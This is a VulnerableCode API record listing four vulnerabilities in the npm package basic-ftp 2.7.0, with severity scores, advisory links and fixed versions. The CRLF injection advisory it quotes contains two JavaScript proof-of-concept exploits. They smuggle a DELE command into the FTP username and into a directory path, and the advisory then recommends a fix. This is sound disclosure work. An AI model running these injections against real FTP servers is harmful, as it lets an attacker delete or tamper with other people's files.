Package Instance
Lookup for vulnerable packages by Package URL.
GET /api/packages/970991?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/970991?format=api", "purl": "pkg:npm/basic-ftp@2.7.0", "type": "npm", "namespace": "", "name": "basic-ftp", "version": "2.7.0", "qualifiers": {}, "subpath": "", "is_vulnerable": true, "next_non_vulnerable_version": "5.3.1", "latest_non_vulnerable_version": "5.3.1", "affected_by_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50407?format=api", "vulnerability_id": "VCID-1j9w-7nju-13bd", "summary": "Basic FTP has Path Traversal Vulnerability in its downloadToDir() method\nThe `basic-ftp` library contains a path traversal vulnerability in the `downloadToDir()` method. A malicious FTP server can send directory listings with filenames containing path traversal sequences (`../`) that cause files to be written outside the intended download directory.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-27699.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-27699.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-27699", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00152", "scoring_system": "epss", "scoring_elements": "0.35594", "published_at": "2026-06-08T12:55:00Z" }, { "value": "0.00152", "scoring_system": "epss", "scoring_elements": "0.35661", "published_at": "2026-06-05T12:55:00Z" }, { "value": "0.00152", "scoring_system": "epss", "scoring_elements": "0.35674", "published_at": "2026-06-06T12:55:00Z" }, { "value": "0.00152", "scoring_system": "epss", "scoring_elements": "0.35634", "published_at": "2026-06-07T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-27699" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/patrickjuchli/basic-ftp", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/patrickjuchli/basic-ftp" }, { "reference_url": "https://github.com/patrickjuchli/basic-ftp/commit/2a2a0e6514357b9eda07c2f8afbd3f04727a7cd9", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-02-27T17:04:25Z/" } ], "url": "https://github.com/patrickjuchli/basic-ftp/commit/2a2a0e6514357b9eda07c2f8afbd3f04727a7cd9" }, { "reference_url": "https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-02-27T17:04:25Z/" } ], "url": "https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.0" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1129093", "reference_id": "1129093", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1129093" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442644", "reference_id": "2442644", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442644" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27699", "reference_id": "CVE-2026-27699", "reference_type": "", "scores": [ { "value": "9.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27699" }, { "reference_url": "https://github.com/advisories/GHSA-5rq4-664w-9x2c", "reference_id": "GHSA-5rq4-664w-9x2c", "reference_type": "", "scores": [ { "value": "CRITICAL", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-5rq4-664w-9x2c" }, { "reference_url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5rq4-664w-9x2c", "reference_id": "GHSA-5rq4-664w-9x2c", "reference_type": "", "scores": [ { "value": "9.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "CRITICAL", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-02-27T17:04:25Z/" } ], "url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5rq4-664w-9x2c" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74295?format=api", "purl": "pkg:npm/basic-ftp@5.2.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-35wn-ny8a-wkdv" }, { "vulnerability": "VCID-6ktp-6sxe-9kgc" }, { "vulnerability": "VCID-hw1h-wvwj-wqbx" }, { "vulnerability": "VCID-peec-p93p-2ych" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/basic-ftp@5.2.0" } ], "aliases": [ "CVE-2026-27699", "GHSA-5rq4-664w-9x2c" ], "risk_score": 4.5, "exploitability": "0.5", "weighted_severity": "9.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-1j9w-7nju-13bd" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/95174?format=api", "vulnerability_id": "VCID-35wn-ny8a-wkdv", "summary": "basic-ftp is an FTP client for Node.js. Prior to 5.3.1, basic-ftp is vulnerable to client-side denial of service when parsing FTP control-channel multiline responses. A malicious or compromised FTP server can send an unterminated multiline response during the initial FTP banner phase, before authentication. The client keeps appending attacker-controlled data into FtpContext._partialResponse and repeatedly reparses the accumulated buffer without enforcing a maximum control response size. As a result, an application using basic-ftp can remain stuck in connect() while memory and CPU usage grow under attacker-controlled input. This can lead to process-level denial of service, container OOM kills, worker restarts, queue backlog, or service degradation in applications that automatically connect to FTP endpoints. This vulnerability is fixed in 5.3.1.", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-44240", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00029", "scoring_system": "epss", "scoring_elements": "0.08847", "published_at": "2026-06-05T12:55:00Z" }, { "value": "0.00031", "scoring_system": "epss", "scoring_elements": "0.09278", "published_at": "2026-06-08T12:55:00Z" }, { "value": "0.00031", "scoring_system": "epss", "scoring_elements": "0.09338", "published_at": "2026-06-07T12:55:00Z" }, { "value": "0.00031", "scoring_system": "epss", "scoring_elements": "0.09353", "published_at": "2026-06-06T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-44240" }, { "reference_url": "https://github.com/patrickjuchli/basic-ftp", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/patrickjuchli/basic-ftp" }, { "reference_url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-rpmf-866q-6p89", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-05-14T12:31:54Z/" } ], "url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-rpmf-866q-6p89" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44240", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44240" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1136650", "reference_id": "1136650", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1136650" }, { "reference_url": "https://github.com/advisories/GHSA-rpmf-866q-6p89", "reference_id": "GHSA-rpmf-866q-6p89", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-rpmf-866q-6p89" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/119941?format=api", "purl": "pkg:npm/basic-ftp@5.3.1", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/basic-ftp@5.3.1" } ], "aliases": [ "CVE-2026-44240", "GHSA-rpmf-866q-6p89" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-35wn-ny8a-wkdv" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89388?format=api", "vulnerability_id": "VCID-hw1h-wvwj-wqbx", "summary": "basic-ftp: Incomplete CRLF Injection Protection Allows Arbitrary FTP Command Execution via Credentials and MKD Commands\n## Summary\n\nbasic-ftp's CRLF injection protection (added in commit 2ecc8e2 for GHSA-chqc-8p9q-pq6q) is incomplete. Two code paths bypass the `protectWhitespace()` control character check: (1) the `login()` method directly concatenates user-supplied credentials into USER/PASS FTP commands without any validation, and (2) the `_openDir()` method sends an MKD command before `cd()` invokes `protectWhitespace()`, creating a TOCTOU bypass. Both vectors allow an attacker who controls input to inject arbitrary FTP commands into the control connection.\n\n## Details\n\n### Vector 1: Credential Injection (login)\n\nThe `login()` method constructs FTP commands by direct string concatenation with no CRLF validation:\n\n```typescript\n// src/Client.ts:216-231\nlogin(user = \"anonymous\", password = \"guest\"): Promise<FTPResponse> {\n this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)\n return this.ftp.handle(\"USER \" + user, (res, task) => { // Line 218: no validation on `user`\n // ...\n else if (res.code === 331) {\n this.ftp.send(\"PASS \" + password) // Line 226: no validation on `password`\n }\n })\n}\n```\n\n`FtpContext.send()` writes directly to the TCP socket:\n\n```typescript\n// src/FtpContext.ts:223-227\nsend(command: string) {\n // ...\n this._socket.write(command + \"\\r\\n\", this.encoding)\n}\n```\n\nThe `protectWhitespace()` method (line 762) rejects `\\r`, `\\n`, and `\\0` characters — but it is only called for path-based operations. Credentials never pass through it.\n\nThe public `access()` method (line 268) passes `options.user` and `options.password` directly to `login()` with no sanitization.\n\n### Vector 2: MKD TOCTOU Bypass (_openDir)\n\nThe `_openDir()` method sends an MKD command before the CRLF check in `cd()`:\n\n```typescript\n// src/Client.ts:745-748\nprotected async _openDir(dirName: string) {\n await this.sendIgnoringError(\"MKD \" + dirName) // Line 746: sent BEFORE validation\n await this.cd(dirName) // Line 747: protectWhitespace() called here — too late\n}\n```\n\nThis is called from `ensureDir()` (line 729) which splits a user-supplied remote path by `/` and passes each fragment to `_openDir()`, and from `_uploadToWorkingDir()` (line 679) which passes local directory names read from the filesystem.\n\n## PoC\n\n### Vector 1: Credential Injection\n\n```javascript\nconst ftp = require(\"basic-ftp\");\n\nasync function exploit() {\n const client = new ftp.Client();\n client.ftp.verbose = true;\n\n // Connect to target FTP server\n await client.access({\n host: \"target-ftp-server\",\n port: 21,\n // Username contains CRLF + injected DELE command\n user: \"anonymous\\r\\nDELE important.txt\",\n password: \"guest\"\n });\n // Server receives on the wire:\n // USER anonymous\\r\\n\n // DELE important.txt\\r\\n\n // PASS guest\\r\\n\n // The DELE command executes before PASS is processed\n\n client.close();\n}\n\nexploit();\n```\n\n### Vector 2: MKD TOCTOU Bypass\n\n```javascript\nconst ftp = require(\"basic-ftp\");\n\nasync function exploit() {\n const client = new ftp.Client();\n client.ftp.verbose = true;\n\n await client.access({\n host: \"target-ftp-server\",\n user: \"anonymous\",\n password: \"guest\"\n });\n\n // Path fragment with CRLF — MKD is sent before cd() validates\n try {\n await client.ensureDir(\"test\\r\\nDELE important.txt/subdir\");\n } catch (e) {\n // cd() throws after protectWhitespace() rejects, but MKD + DELE already sent\n }\n // Server received:\n // MKD test\\r\\n\n // DELE important.txt\\r\\n\n // CWD test\\r\\n <-- this may fail, but damage is done\n\n client.close();\n}\n\nexploit();\n```\n\n## Impact\n\nAn attacker who controls credentials or remote paths passed to basic-ftp can inject arbitrary FTP commands into the control connection. This enables:\n\n- **File deletion**: Inject `DELE` commands to remove files on the FTP server\n- **File manipulation**: Inject `RNFR`/`RNTO` to rename files, `MKD`/`RMD` to create/remove directories\n- **Server commands**: Inject `SITE` commands (e.g., `SITE CHMOD`) to change permissions\n- **Session hijacking**: Inject `USER`/`PASS` to re-authenticate as a different user\n\nThe credential injection vector (Vector 1) is particularly dangerous because it occurs before authentication, meaning the injected commands execute with whatever default permissions the server grants during the login handshake.\n\nApplications that accept user-supplied FTP credentials (e.g., web-based file managers, backup tools, deployment systems) are directly vulnerable.\n\n## Recommended Fix\n\nAdd CRLF validation to both code paths:\n\n**1. Validate credentials in `login()`:**\n\n```typescript\n// src/Client.ts:216\nlogin(user = \"anonymous\", password = \"guest\"): Promise<FTPResponse> {\n if (/[\\r\\n\\0]/.test(user) || /[\\r\\n\\0]/.test(password)) {\n return Promise.reject(new Error(\"Invalid credentials: Contains control characters\"));\n }\n this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)\n return this.ftp.handle(\"USER \" + user, (res, task) => {\n // ... rest unchanged\n })\n}\n```\n\n**2. Validate dirName in `_openDir()` before sending MKD:**\n\n```typescript\n// src/Client.ts:745\nprotected async _openDir(dirName: string) {\n if (/[\\r\\n\\0]/.test(dirName)) {\n throw new Error(\"Invalid path: Contains control characters\");\n }\n await this.sendIgnoringError(\"MKD \" + dirName)\n await this.cd(dirName)\n}\n```\n\nAlternatively, centralize CRLF validation in `FtpContext.send()` so that all FTP commands are protected regardless of the calling code path.", "references": [ { "reference_url": "https://github.com/patrickjuchli/basic-ftp", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/patrickjuchli/basic-ftp" }, { "reference_url": "https://github.com/patrickjuchli/basic-ftp/commit/20327d35126e57e5fdbaae79a4b65222fbadc53c", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/patrickjuchli/basic-ftp/commit/20327d35126e57e5fdbaae79a4b65222fbadc53c" }, { "reference_url": "https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.2", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.2" }, { "reference_url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-6v7q-wjvx-w8wg", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-6v7q-wjvx-w8wg" }, { "reference_url": "https://github.com/advisories/GHSA-6v7q-wjvx-w8wg", "reference_id": "GHSA-6v7q-wjvx-w8wg", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-6v7q-wjvx-w8wg" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/110564?format=api", "purl": "pkg:npm/basic-ftp@5.2.2", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-35wn-ny8a-wkdv" }, { "vulnerability": "VCID-peec-p93p-2ych" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/basic-ftp@5.2.2" } ], "aliases": [ "GHSA-6v7q-wjvx-w8wg" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-hw1h-wvwj-wqbx" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/61905?format=api", "vulnerability_id": "VCID-peec-p93p-2ych", "summary": "basic-ftp: basic-ftp: Denial of Service via unbounded memory growth from malicious directory listings", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-41324.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.9", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-41324.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-41324", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00081", "scoring_system": "epss", "scoring_elements": "0.23913", "published_at": "2026-06-08T12:55:00Z" }, { "value": "0.00081", "scoring_system": "epss", "scoring_elements": "0.24042", "published_at": "2026-06-05T12:55:00Z" }, { "value": "0.00081", "scoring_system": "epss", "scoring_elements": "0.24025", "published_at": "2026-06-06T12:55:00Z" }, { "value": "0.00081", "scoring_system": "epss", "scoring_elements": "0.23971", "published_at": "2026-06-07T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-41324" }, { "reference_url": "https://github.com/patrickjuchli/basic-ftp", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/patrickjuchli/basic-ftp" }, { "reference_url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-rp42-5vxx-qpwr", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-24T18:49:18Z/" } ], "url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-rp42-5vxx-qpwr" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41324", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41324" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461380", "reference_id": "2461380", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461380" }, { "reference_url": "https://github.com/advisories/GHSA-rp42-5vxx-qpwr", "reference_id": "GHSA-rp42-5vxx-qpwr", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-rp42-5vxx-qpwr" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/110981?format=api", "purl": "pkg:npm/basic-ftp@5.3.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-35wn-ny8a-wkdv" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/basic-ftp@5.3.0" } ], "aliases": [ "CVE-2026-41324", "GHSA-rp42-5vxx-qpwr" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-peec-p93p-2ych" } ], "fixing_vulnerabilities": [], "risk_score": "4.5", "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/basic-ftp@2.7.0" }